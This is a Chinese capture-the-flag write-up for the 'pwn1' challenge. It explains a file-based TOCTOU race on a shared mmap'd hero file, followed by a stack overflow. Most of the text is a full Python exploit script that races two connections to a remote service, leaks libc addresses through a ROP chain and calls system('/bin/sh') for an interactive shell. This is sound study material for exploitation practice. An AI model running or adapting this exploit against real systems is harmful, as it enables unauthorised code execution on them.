pwn1
0x00 整体思路
打怪,打赢了就可以拿到flag,但是好像一直打不赢,为啥,因为属性不够,一直没想出来啥问题,后来发现hero是可以从文件中加载属性的,同时可以开两个进程但是对应一个文件,那么就有toctou
的问题,开两个连接,一个一直补血,另一个一直打就好了,然后赢了之后进行rop
就可以了。
没啥过多的技巧,主要是漏洞类型稍微有点偏门了,可以写的东西也不多,大家凑合着看吧。
1-0 结构体
恢复结构体如下。
给出的技能参数 和怪兽参数对应如下:
0x00 程序漏洞
1-0 栈溢出
这个没啥说的,就是要进入这个函数,rop
1-1 文件TOCTOU
在加载hero
时候,来自于文件,文件内容可以是上一次的。
同时因为是hero
数据被mmap到文件里面去了,那么文件发生修改,hero
也会跟着变,这就很奇妙了。
0x01 漏洞利用
首先分析为啥正常只能打到第三关,因为正常数据一直是平手,使用overflow attack
只能和monster
对刚,但是自己的血量比monster
低,所以会先挂,输!
如果hero
是来自于已有用户,那么参数从文件中来,这样我们在打第三关是可以保持自己的slave=3
,而moster
的slave=2
,这样就可以先把血加够在逐步打死monster
。这样就可过到第四关,第四关,那么就直接,开两个连接,一个一直补血,另一个一直打就好了,然后赢了之后进行rop
就可以了。
#coding:utf-8
from zio import *
from pwn import *
import mypwn
def attack(io,hide):
io.read_until('choice>>')
io.writeline('1')
io.read_until('use hiden_methods?(1:yes/0:no):')
io.writeline(hide)
def add(io):
io.read_until('choice>>')
io.writeline('2')
def get_bak(io):
for i in range(50):
add(io)
if __name__ == '__main__':
r_m = COLORED(RAW, "green")
w_m = COLORED(RAW, "blue")
ta=int(raw_input('prese 1 to local\n 2 to remote\n').strip('\n'))
if ta==1:
target=('./pwn1')
elif ta ==2:
target=('47.104.90.157',30003)
io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
bk = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
#io=remote('172.16.0.125',1234)
#io=process(binary_path)
io.read_until('login:')
io.writeline('abc')
bk.read_until('login:')
bk.writeline('abc')
attack(io,'1')
attack(io,'1')
attack(io,'1')
attack(io,'1')
attack(io,'1')
attack(io,'1')
add(bk)
add(bk)
add(bk)
add(bk)
add(bk)
add(bk)
add(bk)
add(io)
attack(io,'1')
attack(io,'1')
attack(io,'1')
attack(io,'1')
attack(io,'1')
attack(io,'1')
for j in range(18):
get_bak(bk)
attack(io,'1')
attack(io,'1')
attack(io,'1')
plt_write=0x80486E0
pop3_ret=0x8049349
vul_func=0x8048EC7
rop='a'*0x48+p32(0xdeadbeef)+p32(plt_write)+p32(pop3_ret)+p32(1)+p32(0x804B048)+p32(0x4)
rop+=p32(plt_write)+p32(pop3_ret)+p32(1)+p32(0x804B014)+p32(0x4)
rop+=p32(plt_write)+p32(pop3_ret)+p32(1)+p32(0x804B044)+p32(0x4)
rop+=p32(plt_write)+p32(pop3_ret)+p32(1)+p32(0x804B00C)+p32(0x4)
rop+=p32(vul_func)
while 1:
cd=int(raw_input('prese 1 to bak\n 2 to go \n3 to exit:').strip('\n'))
if cd==2:
attack(io,'1')
elif cd ==1:
get_bak(bk)
else:
break
io.read_until("what's your name:")
io.gdb_hint()
io.writeline(rop)
io.read_until('welcome\n')
write_offset=u32(io.read(4))
gets_offset=u32(io.read(4))
libc_start_offset=u32(io.read(4))
read_offset=u32(io.read(4))
print 'write_offset 0x%x'%(write_offset)
print 'gets_offset 0x%x'%(gets_offset)
print 'libc_start_offset 0x%x'%(libc_start_offset)
print 'read_offset 0x%x'%(read_offset)
libc_base=write_offset-0x000D43C0
real_sys=libc_base+0x0003A940
real_bin_sh=libc_base+0x015900B
if ta==1:
libc_base=write_offset-0xDD300
real_sys=libc_base+0x0040310
real_bin_sh=libc_base+0x00162BAC
print 'real_sys 0x%x'%(real_sys)
print 'real_bin_sh 0x%x'%(real_bin_sh)
get_shell='a'*0x48+p32(0xdeadbeef)+p32(real_sys)+p32(vul_func)+p32(real_bin_sh)+p32(0x804B048)+p32(0x4)
io.writeline(get_shell)
io.interact()
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!